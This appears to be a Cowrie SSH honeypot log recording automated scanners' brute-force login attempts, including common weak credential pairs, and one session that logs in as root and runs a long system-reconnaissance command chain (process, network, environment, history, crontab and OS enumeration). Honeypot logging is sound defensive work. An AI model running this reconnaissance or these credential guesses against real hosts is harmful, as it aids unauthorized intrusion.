{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.152.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4\\x1a\\xc0\\xd9N6P\\x15(\\x88\\xfcI\\xcb\\xb9y\\x82kno\\xe9\\xa7t\\xbaEA\\xb4.\\x13\\x05\\xb3\\x9f\\x89 \\xa9`*>\\xaa\\x1b\\x9a\\xa8\\xf0\\xa8L\\xf31\\xbag\\xb7\\xfb8\\xcf\\x1f\\x1b\\xed\\xb9\\x9c\\xf0;\\x03G\\x9fK-/\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xb8\\xb4s\\x0b\\xd9\\x1f\\x92\\xc5\\x8a\\xb5#\\x04k\\xe5\\xcdb\\x0f\\x05\\xf5\\xa4\\x0e\\xffhu\\xd2\\x05\\xe1_\\xb3\\xef\\xa4:\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.152.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4\\x1a\\xc0\\xd9N6P\\x15(\\x88\\xfcI\\xcb\\xb9y\\x82kno\\xe9\\xa7t\\xbaEA\\xb4.\\x13\\x05\\xb3\\x9f\\x89 \\xa9`*>\\xaa\\x1b\\x9a\\xa8\\xf0\\xa8L\\xf31\\xbag\\xb7\\xfb8\\xcf\\x1f\\x1b\\xed\\xb9\\x9c\\xf0;\\x03G\\x9fK-/\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xb8\\xb4s\\x0b\\xd9\\x1f\\x92\\xc5\\x8a\\xb5#\\x04k\\xe5\\xcdb\\x0f\\x05\\xf5\\xa4\\x0e\\xffhu\\xd2\\x05\\xe1_\\xb3\\xef\\xa4:\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:12.930107Z","src_ip":"80.94.95.118","session":"b98301be8012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.21.239.4","src_port":61000,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d28d9274759","protocol":"ssh","message":"New connection: 213.21.239.4:61000 (159.203.135.109:22) [session: 2d28d9274759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:15.085053Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:15.181842Z","src_ip":"213.21.239.4","session":"2d28d9274759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.4","message":"Connection lost after 33.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:18.641001Z","src_ip":"80.94.95.118","session":"b98301be8012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":60824,"dst_ip":"10.17.0.5","dst_port":22,"session":"1797154ceb5f","protocol":"ssh","message":"New connection: 92.118.39.56:60824 (10.17.0.5:22) [session: 1797154ceb5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:42.481842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:42.486353Z","src_ip":"92.118.39.56","session":"1797154ceb5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:42.590185Z","src_ip":"92.118.39.56","session":"1797154ceb5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:42.896509Z","src_ip":"92.118.39.56","session":"1797154ceb5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:28:43.999493Z","src_ip":"92.118.39.56","session":"1797154ceb5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.27.19","src_port":57998,"dst_ip":"10.17.0.5","dst_port":22,"session":"a031f3a0f663","protocol":"ssh","message":"New connection: 103.82.27.19:57998 (10.17.0.5:22) [session: a031f3a0f663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:29:45.971009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:29:45.975626Z","src_ip":"103.82.27.19","session":"a031f3a0f663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:29:46.237613Z","src_ip":"103.82.27.19","session":"a031f3a0f663","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin12345","message":"login attempt [root/admin12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:29:47.007920Z","src_ip":"103.82.27.19","session":"a031f3a0f663","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:29:47.567554Z","src_ip":"103.82.27.19","session":"a031f3a0f663","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","message":"CMD: hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:29:47.570970Z","src_ip":"103.82.27.19","session":"a031f3a0f663","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","size":2189,"shasum":"21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:29:47.866072Z","src_ip":"103.82.27.19","session":"a031f3a0f663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:29:47.870996Z","src_ip":"103.82.27.19","session":"a031f3a0f663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":39376,"dst_ip":"10.17.0.5","dst_port":22,"session":"6150a824b5d1","protocol":"ssh","message":"New connection: 92.118.39.56:39376 (10.17.0.5:22) [session: 6150a824b5d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:30:44.563899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:30:44.568284Z","src_ip":"92.118.39.56","session":"6150a824b5d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:30:44.669249Z","src_ip":"92.118.39.56","session":"6150a824b5d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:30:44.974175Z","src_ip":"92.118.39.56","session":"6150a824b5d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:30:46.113122Z","src_ip":"92.118.39.56","session":"6150a824b5d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":24531,"dst_ip":"10.17.0.5","dst_port":22,"session":"09d4e666c8cb","protocol":"ssh","message":"New connection: 2.57.121.25:24531 (10.17.0.5:22) [session: 09d4e666c8cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:31:20.554465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:31:20.563286Z","src_ip":"2.57.121.25","session":"09d4e666c8cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:31:20.667255Z","src_ip":"2.57.121.25","session":"09d4e666c8cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"seabass","message":"login attempt [user/seabass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:31:21.154474Z","src_ip":"2.57.121.25","session":"09d4e666c8cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"scout1","message":"login attempt [user/scout1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:31:22.261433Z","src_ip":"2.57.121.25","session":"09d4e666c8cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"scoobie","message":"login attempt [user/scoobie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:31:23.368855Z","src_ip":"2.57.121.25","session":"09d4e666c8cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"sanity72","message":"login attempt [user/sanity72] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:31:24.476277Z","src_ip":"2.57.121.25","session":"09d4e666c8cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"samadams","message":"login attempt [user/samadams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:31:25.583637Z","src_ip":"2.57.121.25","session":"09d4e666c8cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:31:26.690844Z","src_ip":"2.57.121.25","session":"09d4e666c8cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":46158,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8c191ef34e5","protocol":"ssh","message":"New connection: 92.118.39.56:46158 (10.17.0.5:22) [session: d8c191ef34e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:32:51.044752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:32:51.048922Z","src_ip":"92.118.39.56","session":"d8c191ef34e5","protocol":"ssh"}
